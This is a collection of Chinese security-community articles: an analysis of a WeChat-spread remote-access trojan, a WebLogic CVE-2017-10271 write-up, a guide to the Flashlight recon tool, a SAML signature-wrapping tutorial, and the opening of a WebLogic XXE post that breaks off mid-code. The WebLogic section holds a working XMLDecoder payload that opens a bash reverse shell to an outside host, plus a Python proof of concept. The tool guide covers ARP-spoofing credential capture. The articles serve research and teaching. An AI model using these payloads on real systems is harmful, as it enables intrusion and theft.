经了解，进这个群需要交50块RMB，有一定的门槛，目前该群已满500人，其中却有不少“混进去”的小号在散播该木马。
## 远控木马分析
下面以上文提及的微信群内散播的最新样本“国内老号500个62数据.exe”为例进行分析。传播者试图以“国内老号500个62数据”之类的文件名诱导卖号人下载运行木马释放体,传播中的木马文件名和程序图标都比较有欺骗性。该木马的主要运行流程如下图所示：
（一）、木马释放体
木马释放体运行后主要的功能代码都在窗口Form1的活动过程函数TForm1:FormActivate里，启动后先从资源里释放一个加密的zip压缩包，保存到D盘根目录命名为：“如遇登录器打不开.txt”。该压缩包里存放了首次感染用户需要用到的所有文件，被解压到用户的图片目录（该目录将作为木马的安装目录），解压密码为“2017”。如果安装目录里事先已存在恶意程序“KGGouWo.exe”（酷狗躺枪。。。），说明不是首次运行，就直接打开一个已存在的文本文件“成功数据(127).txt”。
这里顺便提下，由于木马判断了“D:\\\如遇到登录器打不开.txt”这个压缩文件是否存在，所以在没有D盘的系统，木马文件会释放失败，无法继续后续行为。
看一下压缩文件解压到安装目录后文件列表。
接着，在安装目录下创建一个名为“360管家.lnk”的欺骗性快捷方式，快捷方式的目标指向了刚解压出来的一个被利用的白程序“gamecore.exe”。
“gamecore.exe”其实是酷狗官方的一个程序组件，且具有有效的数字签名。
“gamecore.exe”启动后未经校验就会直接启动同目录下的文件名为“KGGouWo.exe”的程序。木马作者通过
“白加黑”的方法，对抗安全软件的拦截。
木马释放体将伪造的“360管家.lnk“的快捷方式复制到系统的启动目录下实现开机启动，具体的实现的过程比较有特点。
首先，构造一个特殊的命令行如下：
C:\Documents and Settings\Administrator\My Documents\My Pictures\baidu.com
execmd copy “C:\Documents and Settings\Administrator\My Documents\My
Pictures\360管家.lnk” “C:\Documents and
Settings\Administrator\「开始」菜单\程序\启动\360管家.lnk”
从该命令行可以看出，调用的程序为安装目录下的“baidu.com”这个程序，该程序实际上是个NirCmd命令行工具。
命令行给该工具传递“execmd copy”命令来把“360管家.link”快捷方式拷贝到开始菜单里的启动目录，由此实现自启动的目的。在xp环境下
“baidu.com”的程序路径包含空格且作者未使用双引号包含（发现此处是木马的bug，在win7以上环境能正常运行命令行），命令行被截断将导致后续执行失败如下：
然后，木马释放体将构造好的命令复制到系统剪贴板里。
最后，木马释放体启动同目录下的“Spy++.exe”来运行剪贴板里的命令。
“spy++.exe”通过调用“baidu.com”命令行工具来模拟键盘操作，首先是发送“Win+R”快捷键来打开windows运行窗口，接着使用“Ctrl+V”快捷键粘贴事先复制好的命令行，然后马上就按回车键执行，从而实现运行剪贴板里命令行的操作，并且最后为了不引起用户的怀疑，还调用CMD命令删除运行记录。
添加开机启动之后,木马释放体会直接运行“360管家.lnk“，通过白程序“gamecore.exe”启动恶意程序”KuGouWo.exe”。之后，木马释放体打开一个“成功数据(127).txt”来迷惑中招用户。
“成功数据(127).txt”内容如下所示，可以看到是一些微信账号和62数据。
（二）、远控木马
KGGouWo.exe的图标伪装成私服的样式，实际上是个远控木马，当运行在非安装目录时，会显示传奇游戏的图片，来欺骗用户。
当程序运行在安装目录（“My Pictures”，即用户图片目录）时，才会触发远控流程。
远控流程需要的一些API函数是在程序窗体初始化的时候准备好的。具体过程是拼接所需API函数的字符串后，调用“LoadLibraryA”和“GetProcAddress”获得。
程序进入远控流程后，会先连接远程控制端服务器，地址为：“27.54.***.211:8100”，连接协议使用TCP连接。
连接远程服务器后，注册WM_Socket消息，绑定窗口消息处理函数来接收远程可读消息，消息码为0x1400。
然后收集用户系统信息准备进行上线，收集的信息包括用户名、主机名、系统版本、硬件信息、语言地区、文档路径等，并使用“|”连接，之后将数据进行压缩后再发送给控制服务器进行上线请求。
压缩后封包的格式为“长度|压缩数据”，接收的控制端数据也采用类似的格式。
接着进入处理0x1400号消息的流程，当判断有可读数据时就接收远程控制数据后开始进入控制流程。
进入控制流程后，经过一系列的长度检查和数据解析之后，得到控制命令字符串。对于新上线的中招机器，服务器会返回一个“Ping”命令字符串，该命令串随后会被用来与木马程序里定义的一系列控制命令作比较，如果相同则执行相应的命令操作，如下图的“shenhua”即比较的第一个命令串。
命令列表里没有 “Ping”命令，因而程序会跳出控制流程，进入默认的一个发送心跳包的流程，发送的数据为“Idle”。
心跳包每隔10秒钟就会发送一次，用于向控制服务器证明远控木马一直处于上线状态。
木马上线后，除了持续发送心跳包外就是等待接收控制端的命令了，然后又回到上述的控制流程，遍历命令列表执行相应的控制命令，命令列表及对应功能如下表所示：
远控木马该有的功能都不少。下面看几个常见的功能实现，首先是截屏，核心还是创建屏幕位图。
清除系统日志，可以看到清除了包括安全事件、DNS事件等多个系统关键日志。
键盘记录功能包含“Start”和“Stop”两个开关指令，当开启记录功能时除了设置键盘钩子外还启动了一个辅助程序“mir.exe”。
键盘记录关键的功能在钩子回调里实现，主要记录受害用户的键盘操作，分为可见字符输入、空格和其他特殊字符，同时还额外记录了用户剪贴板、当前窗口标题等内容。
关机、注销系统、重启。
开启远程shell是通过创建两个匿名管道来设置cmd进程启动参数的输入输出，同时cmd窗口属性设置为隐藏。
## 传播情况
下面是此类远控木马最近一个月在全国各地区的传播情况分布图，其中广东省为重灾区，占比高达20%以上。
## 结语
目前微信是常用的交流工具，不少用户在电脑上也安装了微信，因而微信被传统的PC木马作者盯上作为木马的传播途径。而五花八门微信群中人员复杂，木马作者很容易隐藏自己并将木马伪装成用户感兴趣的内容来传播。请广大用户不要随意点开来历不明的陌生链接或文件，及时用安全工具扫描查杀可疑文件，避免给不法分子可乘之机。 | 社区文章 |
# weblogic漏洞分析之CVE-2017-10271
## 一、环境搭建
### **1）配置docker**
这里使用vulhub的环境：CVE-2017-10271
1. 编辑docker-compose.yml文件，加入8453端口
version: '2'
services:
weblogic:
image: vulhub/weblogic:10.3.6.0-2017
ports:
- "7001:7001"
- "8453:8453"
1. 启动docker
docker-compose up -d
1. 进入docker容器中，配置weblogic的远程调试
cd /root/Oracle/Middleware/user_projects/domains/base_domain/bin
vi setDomainEnv.sh
1. 如下图位置添加两行代码
debugFlag="true"
export debugFlag
1. 打包modules和wlserver_10.3文件夹并导出
### **2）配置idea**
1. 打开idea，wlserver_10.3文件夹放入项目中
1. 配置远程调试
1. 再导入wlserver_10.3\server\lib下的jar包和modules的所有文件
1. 打个断点后访问漏洞页面即可看到成功触发调试
<http://192.168.202.129:7001/wls-wsat/CoordinatorPortType>
## 二、漏洞复现
进入<http://192.168.202.129:7001/wls-wsat/CoordinatorPortType，显示以下页面即有可能存在漏洞>
其他可用url
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
这里使用bp来进行验证：
注意此处要指定Content-Type: text/xml，否则会报415错误，如以下图
最后成功访问test.txt界面<http://192.168.202.129:7001/wls-wsat/test.txt>
这里贴上个反弹shell的poc：
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.149.139:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 1148
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.149.138/4444 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
验证python脚本， **注意此脚本会创建一个test.txt文件** ：
#!/usr/bin/env python
# coding:utf-8
import requests
from sys import argv
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Upgrade-Insecure-Requests': '1',
'Content-Type': 'text/xml'
}
def Webogic_XMLDecoder_poc(url):
#url="http://192.168.202.129:7001"
posturl=url+'/wls-wsat/CoordinatorPortType'
data = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
<string>xmldecoder_vul_test</string></void><void method="close"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
print url
try:
r=requests.post(posturl,data=data,headers=headers,timeout=5)
geturl=url+"/wls-wsat/test.txt"
#print geturl
check_result = requests.get(geturl,headers=headers,timeout=5)
if 'xmldecoder_vul_test' in check_result.text:
print u"存在WebLogic WLS远程执行漏洞(CVE-2017-10271)"
except:
pass
if __name__ == '__main__':
if len(argv) == 1:
print "Please input python Webogic_XMLDecoder_poc.py http://xxxx:7001"
exit(0)
else:
url = argv[1]
Webogic_XMLDecoder_poc(url)
## 三、漏洞分析
CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞，主要由wls-wsat.war触发该漏洞，触发漏洞url如下： <http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType>
post数据包，通过构造构造SOAP（XML）格式的请求，在解析的过程中导致XMLDecoder反序列化漏洞。
在`weblogic/wsee/jaxws/workcontext/WorkContextServerTube`类的`processRequest`方法中，处理POST数据包中的XML数据。var1即是传入的xml数据
到`readHeaderOld`方法中，处理读取的xml
跟进`readHeaderOld`
前面获取了xml，使用`ByteArrayOutputStream`转换成了字节流赋值给var4，然后调用了`WorkContextXmlInputAdapter`传入了var4
跟进`WorkContextXmlInputAdapter`中，看到其实这就是把var4传入到`XMLDecoder`中
回到`readHeaderOld`方法，在前面进行了一些xml的封装，获得`XMLDecoder`对象后，调用了113行的`receive`方法
跟进`receive`
继续跟进几个方法后，到了`WorkContextLocalMap#receiveRequest`，165行调用了`WorkContextEntryImpl`的`readEntry`方法
跟进`WorkContextEntryImpl#readEntry`
跟进`readUTF`，在这里进行了`xmlDecoder.readObject`触发了`xmlDecoder`的反序列化，执行了`ProcessBuilder.start()`
执行完这里就反弹shell成功
这里其实也就是weblogic中的WLS组件接收到SOAP格式的请求后，未对解析xml后的类，参数等进行处理，一系列传入最后执行了`xmlDecoder.readObject`触发调用了类中的方法，产生漏洞。 | 社区文章 |
# Flashlight：用于渗透测试的自动化信息收集工具
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://github.com/galkan/flashlight>
译文仅供参考，具体内容表达以及含义原文为准。
渗透测试人员在信息收集阶段花费了大量的时间。Flashlight(Fener)能够迅速对目标网络提供服务的网络端口进行扫描并收集信息。因此Flashlight可以作为渗透测试中可以使用的一个不错的选择。本文将对Flashlight做一个简单的介绍。
想要知道更多关于Flashlight的信息,可以使用“-h”或者“–help”选项来获取帮助信息。
各个参数的用法如下:
-h,--help:显示关于使用Flashlight的相关信息
-p <ProjectName> 或者--project < ProjectName>:设置项目名称。这个选项可以用来保存不同工作区中的不同项目。
-s <ScanType> 或者 –scan_type < ScanType >:设置扫描类型。有四种扫描类型:Active Scan , Passive Scan, Screenshot Scan and Filtering。这些扫描类型会在后面详细解释。
-d < DestinationNetwork>, --destination < DestinationNetwork >:设置要扫描的目标网络或者IP。
-c <FileName>, --config <FileName>:指定配置文件。扫描会根据配置文件中的信息进行。
-u <NetworkInterface>, --interface < NetworkInterface>:指定在被动扫描(passive scan)时要使用的网络接口。
-f <PcapFile>, --pcap_file < PcapFile >:设置用于过滤的pcap文件。
-r <RasterizeFile>, --rasterize < RasterizeFile>:设置用于截屏扫描的JS文件。
-t <ThreadNumber>, --thread <Threadnember>:设置线程数。该参数仅适用于截屏扫描模式。
-o <OutputDiectory>, --output < OutputDiectory >:设置用于保存扫描结果的输出目录。扫描结果会保存在三个字目录中:Nmap扫描结果的nmap子目录,Pcap文件使用的pcap子目录,以及截屏扫描使用的screen子目录。扫描结果会保存在该参数指定的目录中。如果没有指定该参数,扫描结果会保存在Flashlight运行所在的目录中。
-a, --alive:它在进行实际的漏洞扫描前先进行ping扫描去发现存活的IP。适用于主动扫描。
-g <DefaultGateway>, --gateway < DefaultGateway >:设置网关IP地址。
-l <LogFile>, --log < LogFile >:指定保存扫描结果的日志文件。如果没有指定该参数,日志文件会保存在Flashlight运行所在的目录。
-k <PassiveTimeout>, --passive_timeout <PassiveTimeout>:设置超时时间。默认15秒。适用于被动扫描。
-m, --mim:用于执行MITM攻击。
-n, --nmap-optimize:用于优化nmap扫描
-v, --verbose:运行时显示详细输出信息
-V, --version:显示版本信息
安装
apt-get install nmap tshark tcpdump dsniff
为了轻松安装phantomjs,你可以从[https://bitbucket.org/ariya/phantomjs/downloads](https://bitbucket.org/ariya/phantomjs/downloads)下载解压后进行安装。
Flashlight可以执行三种基本扫描类型和一种分析类型。下面将详细介绍。
1) Passive Scan
被动扫描中,不会发送数据包。这种类型的扫描主要时监听网络并且分析数据包。
例如要使用Flashlight进行一次被动扫描,设置一个项目名称,如passive-pro-01。在下面的命令中,由eth0捕获的数据包会保存在“/root/Desktop/flashlight/output/passive-project-01/pcap”目录中,pcap文件和所有的日志文件会保存在“/root/Desktop/log”目录中。
./flashlight.py -s passive -p passive-pro-01 -i eth0 -o /root/Desktop/flashlight_test -l /root/Desktop/log –v
扫描完成后会产生一个新的目录,名为“flashlight_test",并且"/root/Desktop/" 目录中会创建一个名为“log”的日志文件。
“flashlight_test”的目录结构就像下面所示。Pcap文件保存在“/root/Desktop/flashlight_test/output/passive-pro-01/pcap”目录中。这个pcap文件可以用于分析。使用ls /root/Desktop/flashlight_test -R列出目录结构。
日志文件的内容类似于命令行输出。
标准的被动扫描可以捕获广播数据包和直接发送给扫描机器的数据包。除此之外,可以使用 “-mim/-m”参数进行Arp欺骗和中间人攻击。
./flashlight.py -s passive -p passive-project-02 -i eth0 -g 192.168.74.2 -m -k 50 -v
通过分析捕获到的pcap文件中的HTTP流量,我们可以看到
对基础身份认证消息进行解码,我们将得到用于访问web服务器的凭据。
被动扫描的所有参数类似于这样:
./flashlight.py -s passive -p passive-pro-03 -i eth0 -g 192.168.74.2 -m -k 50 -o /root/Desktop/flashlight_passive_full -l /root/Desktop/log -v
2) Active Scan
在主动扫描中,NMAP脚本通过读取配置文件进行扫描。在Flashlight的config目录中有一个样例配置文件flashlight.yaml。
根据"flashlight.yaml" 配置文件,执行扫描时会对TCP的“21, 22, 23, 25, 80, 443, 445, 3128,
8080”端口,UDP的"53, 161"端口进行扫描,并且会使用"http-enum" 脚本。
注意:在主动扫描中“screen_ports”选项是无用的。此选项只适用于screenshot扫描。
“-a”选项通过发送ICMP数据包探测存活主机。除此之外,还可以使用“-t”参数增加线程数来提高扫描速度。
./flashlight.py -p active-project -s active -d 192.168.74.0/24 –t 30 -a -v
通过运行此命令,输出文件有三种不同格式 (普通, XML 和Grepable)结合四种不同扫描类型(操作系统扫描,ping扫描,端口扫描和脚本扫描)
Flashlight内部可能使用了类似这样的命令进行扫描:
操作系统扫描:/usr/bin/nmap -n -Pn -O -T5 -iL /tmp/"IPListFile" -oA
/root/Desktop/flashlight/output/active-project/nmap/OsScan-"Date"
Ping扫描:/usr/bin/nmap -n -sn -T5 -iL /tmp/"IPListFile" -oA
/root/Desktop/flashlight/output/active-project/nmap/PingScan-"Date"
端口扫描:/usr/bin/nmap -n -Pn -T5 –open -iL /tmp/"IPListFile" -sS -p
T:21,22,23,25,80,443,445,3128,8080,U:53,161 -sU -oA
/root/Desktop/flashlight/output/active-project/nmap/PortScan-"Date"
脚本扫描:/usr/bin/nmap -n -Pn -T5 -iL /tmp/"IPListFile" -sS -p
T:21,22,23,25,80,443,445,3128,8080,U:53,161 -sU –script=default,http-enum -oA
/root/Desktop/flashlight/output/active-project/nmap/ScriptScan-"Date"
如果想运行一个高效优化的主动扫描,可以使用“-n”参数,类似于这样:
./flashlight.py -p active-project -s active -d 192.168.74.0/24 -n -a –v
“-n”参数增加了额外的nmap选项,如下所示:
… -min-hostgroup 64 -min-parallelism 64 -host-timeout=300m -max-rtt-timeout=600ms -initial-rtt-timeout=300ms -min-rtt-timeout=300ms -max-retries=2 -min-rate=150 …
3) Screen Scan
截屏扫描使用在配置文件(flashlight.yaml)中得到的指令对网站应用进行扫描截屏。文件中“screen_ports: – 80, 443,
8080, 8443 ”,简单的扫描命令类似于这样:
./flashlight.py -p project -s screen -d 192.168.74.0/24 -r /usr/local/rasterize.js -t 10 -v
例如,通过运行这条命令检测到三个网站应用程序。这些网站的截图会保存在“screen”子目录中。这些屏幕截图可以用于离线分析。
4) Filtering
Filtering选项主要用于分析pcap文件。举例如下:
./flashlight.py -p filter-project -s filter -f /root/Desktop/flashlight/output/passive-project-02/pcap/20150815072543.pcap -v
通过运行这条命令,我们可以看到一些文件被创建在了“filter”子目录中。
这个选项通过以下特点对pcap文件进行分析:
Windows主机
排名前10的DNS请求 | 社区文章 |
# 前言
本文是关于如何在安全断言标记语言(Security Assertion Markup
Language，SAML)中查找Bug的系列文章中的第二篇。本文将研究SAML漏洞，以及如何使用BurpSuite插件[SAML
Raider](https://github.com/SAMLRaider/SAMLRaider "SAML
Raider")测试这些漏洞。如果您对于SAML和XML签名还没有一个大体的知识脉络，那么请查看我们介绍基础知识的第I部分。
# SAML RAIDER
本文的第一个知识点是学习SAML Raider。SAML Raider是一款具有强大功能的SAML测试工具。SAML Raider的创建者Roland
Bischofberger和Emanuel Duss将该插件描述为用于测试SAML基础架构的Burp
Suite扩展。它包含两个核心功能：操作SAML消息以及X.509证书管理系统的能力。
在本文中，我们将使用SAML Raider演示如何测试每个漏洞。我们将从安装开始。
如果您已经熟悉如何使用SAML Raider，请直接跳到XML签名包装。
## 安装SAML RAIDER
打开Burp Suite并单击Extender选项卡
单击BApp Store子选项卡
向下滚动并单击扩展列表中的SAML Raider
单击“安装”按钮
安装完成后，我们将看到一个名为“SAML Raider Certificates”的新选项卡。
上面提到的选项卡是SAML Raider执行证书管理的地方，我们下一步将对此进行讨论。
## X.509证书管理器
内置在SAML Raider中的证书管理器非常好用。它允许我们执行以下操作：
导入和导出X.509证书
显示X.509证书信息
导入和导出私钥
克隆X.509证书和证书链
编辑和自签署现有的X.509证书
我们花点时间测试一下这些功能。
首先，我们需要X.509证书。我们可以使用OpenSSL快速地生成一个。
openssl req -x509 -newkey rsa:4096 -keyout /tmp/key.pem -out /tmp/cert.pem -days 365 -nodes
═══════════════════════════════════════════════════════════════════════════════════════════
Generating a 4096 bit RSA private key
...........++
...........................................................................................................................++
writing new private key to '/tmp/key.pem'
----- You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
----- Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:
现在我们有了证书，让我们按照下面描述的步骤将其导入SAML Raider。
完成后，我们将在顶部窗格中看到导入的证书，在底部窗格中看到有关证书的所有相关信息。
导出就像导入一样简单，所以我们不会花时间进行演示。让我们来看看克隆和编辑。克隆证书非常简单。我们需要做的就是突出显示要克隆的证书，然后单击上面窗格左侧的“Clone(克隆)”按钮。完成后，我们同时拥有导入的证书和原始版本的几乎完全相同的副本。原始和克隆之间只有两个不同点——模块和签名。我们可以通过首先导出克隆的证书，然后运行下面的diff命令来进行验证。
diff <(openssl x509 -in /tmp/cloned-cert.pem -text -noout) <(openssl x509 -in /tmp/cert.pem -text -noout)
除了克隆功能，我们可以根据自己的喜好更改证书的字段，然后单击“Save and Self-Sign”。自签名操作的功能类似于“克隆”(Clone)，但需要注意的是，新证书包含了之前更改的字段。
在流程完成后，我们拥有一个有效期为1000年的证书。在执行下面讨论的一些攻击时，管理证书的能力开始发挥作用。
## SAML消息编辑器
除了证书管理器之外，SAML Raider还提供了动态操作SAML消息的能力。在本节中，我们将研究截取请求，以及截取请求后该如何处理它们。
SAML Raider的创建者捆绑了一个方便的脚本来对扩展进行一些轻量级测试。我们将使用该脚本生成SAML响应，方便我们可以在burp中检查和操作。
首先，我们需要脚本。即使我们已经通过burp安装了SAML
Raider，我们需要的脚本也在repo中。当我们的测试完成时，克隆repo并将其全部删除是最简单的。
git clone https://github.com/SAMLRaider/SAMLRaider.git
克隆了repo后，我们可以转到脚本目录。
cd SAMLRaider/scripts/samltest
在那之后，随着burp运行和拦截，我们可以运行samltest。
./samltest
如果burp处于运行状态并进行拦截，我们将在burp中看到等待我们的SAML响应。
截获后，我们可以在SAML Raider选项卡中查看SAML响应。
我们试着篡改一些数据。我们将拉到到SAML响应的底部，找到AttributeValue标签中包含的[email protected]值。
我们将bowser改为mario
篡改完成后，我们将在响应上进行转发。一旦它被转发，我们会看到它返回给我们的侦听器-先前启动的samltest脚本。脚本打印出XML，我们可以看到[email protected]。
...
<AttributeStatement>
<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn">
<AttributeValue>[email protected]</AttributeValue>
</Attribute>
<Attribute Name="http://schemas.xmlsoap.org/claims/Group">
<AttributeValue>Domänen-Benutzer</AttributeValue>
</Attribute>
<Attribute Name="urn:oid:1.3.6.1.4.1.5923.1.1.1.6" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<AttributeValue>[email protected]</AttributeValue>
</Attribute>
</AttributeStatement>
...
编辑SAML消息时，Ctrl+Z不能撤消错误。有一个“Reset Message”按钮，用于将SAML消息恢复到其原始值。
## SAML中继器
最后一点值得注意的是，SAML
Raider在Burp的Repeater选项卡中添加了一个选项卡。在Repeater选项卡中操作SAML消息对于不断修改同一消息非常有用。
# XML签名包装
我们将讨论的第一个攻击是XML签名包装(XSW)。这里有一份[白皮书](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf
"白皮书")概述了攻击的详细情况。巧合的是，这篇论文也系统地介绍了SAML Raider插件。如果你想深入了解更多信息，白皮书相信是你的第一选择。
XSW基本前提是，包含XML签名的XML文档可以分两步处理：一步用于数字签名的验证，另一步用于使用XML数据的实际应用程序。考虑以下两个步骤以及用于获取单个XML元素的方法：
XML签名验证：
应用程序定位`<ds:Signature>`的`<ds:Reference>`元素。
应用程序使用`<ds:Reference>`的URL属性来确定对哪个XML元素进行了签名。
应用程序验证签名的xml元素。
验证后，同一应用程序尝试使用签名数据作为其正常操作的一部分。
应用程序的XML解析器使用自上而下的基于树的导航来定位其所需的XML元素
通常，这两种方法都应该定位到相同的XML元素，但在签名包装的情况下，攻击者会将签名的内容移动到不同的位置，并将其替换为攻击者控制的XML元素，该元素不会使XML文档无效。我们希望XML解析器找到攻击者控制的元素，而不是经过验证的元素。
现在我们已经了解了XSW的基本概念，让我们看看执行XSW的不同方法。下面介绍的每个XML签名包装攻击都与打包到SAML
Raider中的8个攻击直接对应。了解了这一点，我们将了解攻击是如何工作的，以及如何使用SAML Raider执行攻击。
## 简要回顾
在开始之前，让我们回顾一下正常的SAML响应的简化结构。这里的关键组件是响应及其ID、签名及其引用的URL属性以及断言的主题。
<?xml version="1.0" encoding="UTF-8"?>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
<ds:KeyInfo>...</ds:KeyInfo>
</ds:Signature>
<samlp:Status>...</samlp:Status>
<saml:Assertion ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ... >...</ds:Signature>
<saml:Subject>
<saml:NameID ...>...</saml:NameID>
<saml:SubjectConfirmation ...>
<saml:SubjectConfirmationData .../>
</saml:SubjectConfirmation>
</saml:Subject>
<saml:Conditions ...>...</saml:Conditions>
<saml:AuthnStatement ...>...</saml:AuthnStatement>
<saml:AttributeStatement>...</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
回想一下，当标识提供者(IDP)返回服务提供者(SP)时，我们会收到SAML响应(下面流程图中的步骤6)。
## XML签名包装攻击-1
XSW-1处理SAML响应。它复制SAML响应和断言，然后将原始签名作为复制的响应的子元素插入到XML中。假设XML解析器在签名验证后在文档顶部找到并使用复制的响应，而不是原始的签名响应.
## XML签名包装攻击-2
与XSW-1类似，XSW-2处理SAML响应。XSW-1和XSW-2是唯一处理响应的两种攻击方式。-1和-2之间的关键区别在于，XSW-2使用的签名类型是分离的签名，其中XSW-1使用封装签名。恶意响应的位置保持不变。
## XML签名包装攻击-3
XSW-3是包装断言元素的XSW的第一个示例。SAML
Raider将复制的Assertion作为根Response元素的第一个子元素插入。原始断言是复制的断言的兄弟节点。
## XML签名包装攻击-4
XSW-4类似于-3，除了在这种情况下，原始断言成为复制的断言的子节点。
## XML签名包装攻击-5
XSW-5是断言包装的第一个实例，我们看到签名和原始断言不在三种标准配置中的任何一个(封装/分离)。在这种情况下，复制的断言封装签名。
## XML签名包装攻击-6
XSW-6将其复制的断言插入到与-4和-5相同的位置。这里有趣的一点是，复制的断言封装了签名，而签名又封装了原始断言。
## XML签名包装攻击-7
XSW-7插入一个扩展元素，并将复制的断言作为子元素添加。扩展是具有限制性较小的架构定义的有效XML元素。本[白皮书](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf
"白皮书")的作者针对OpenSAML库开发了此方法。OOpenSAML使用模式验证来正确地将签名验证期间使用的ID与处理的断言的ID进行比较。作者发现，在复制的断言与原始断言的ID相同的情况下，如果复制的断言是具有较少限制的模式定义的元素的子元素，则可以绕过此特定对策。
## XML签名包装攻击＃8
XSW-8使用另一个限制性较小的XML元素来执行XSW#7中使用的攻击模式的变体。这一次，原始断言是限制较少的元素的子元素，而不是复制的断言。
## XML签名包装方法
SAML
Raider可以很容易地执行签名包装攻击。第一步是制定拦截规则拦截SAML消息。首先转到`Proxy`选项卡，然后是`Options`子选项卡。然后，创建或编辑具有与下面的参数匹配的规则。
有了规则，我们就可以开始拦截了，而且我们只捕获包含SAMLResponse参数的http请求。
一旦拦截了SAML响应，我们将通过按Ctrl+r或右键单击请求并使用上下文菜单单击Send to Repeater，将请求发送到Burp的Repeater。
要执行多个XSW攻击，我们需要保留原始请求。在某些情况下，中继器中的SAML
Raider选项卡无法使用“重置消息”按钮将已被篡改的SAML响应恢复到其原始状态。这就是为什么我们将原始文件保存在代理中，并继续将原始文件发送到Repeater。
一旦我们在Repeater中收到请求，我们就可以打开SAML Raider选项卡。
接下来，使用SAML Raider选项卡中的下拉列表并实现其中一种XSW攻击就变得毫不费力。
在使用签名包装攻击后，可以单击go发送更改后的SAML响应。
如果要尝试其他XSW攻击，则需要将原始消息重新发送到中继器。然后应用我们想要尝试的下一个XSW攻击。我们这样做是为了确保基本消息保持一致，并且在执行其他攻击时不会留下以前攻击的痕迹。
如果尝试XSW的过程中导致访问服务提供商，请立即注销并重复此过程。使用有效的XSW，尝试篡改任何看起来像用户标识的可能参数的属性(例如，将user1更改为admin，等等)。
未完待续：
原文：https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/ | 社区文章 |
# 看我如何挖掘Weblogic XXE
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、目标选择
去年暑期在tx某实验室实习，leader给的任务就是挖掘web服务器漏洞，最近研究weblogic服务器内容比较多，遂选择它了。
## 2、研究方向
当时weblogic爆出的最新的洞是2725那个RCE，想着能否找个RCE出来，看weblogic补丁历史，RCE思路有俩个：1、是寻找新的gadgets。2、weblogic支持的协议比较多，可能存在反序列化RCE的问题。第一个思路挖掘有点难，所以选择了第二个方向，审计基于RMI的JMX服务，weblogic默认会注册一些MBean，如果这些MBean中存在危险代码，外部还可以访问，第一个思路就是审计weblogic中默认注册的MBean中的代码，是否存在危险代码。第二个思路就是像上面weblogic默认注册的MBean对象篡改它的参数为gadget,如果存在JEP
290这样的防御机制，可以通过Asap hook bypass。然而当写出hook
bypass工具时，实际问题来了想操纵MBean，前提需要知道管理员的用户名和密码，即使RCE危害也不大。（当时看到了rmi-iiop协议，没深入研究，后面就有人在这块曝洞了。。。
## 3、柳暗花明
工作陷入僵局，想着RCE是不可能了，挖掘XXE看看能挖到不。当时爆出反序列化XXE的CVE:CVE-2019-2647、CVE-2019-2648、CVE-2019-2649、CVE-2019-2650，直接感觉还有XXE，人工审计太麻烦了，写一款辅助审计的工具。工具思路比较简单就是正则匹配XML解析的库和实现了序列化接口的类都打印出来，人工审计反序列操作有没有问题就可以了。第一个问题weblogic的jar包都是字节码文件需要还原成XXX.java。可以通过jd-gui来还原。下面把源码给出来：
package Search;
import java.io.*;
import java.net.URL;
import java.util.regex.Pattern;
public class JarFileReader {
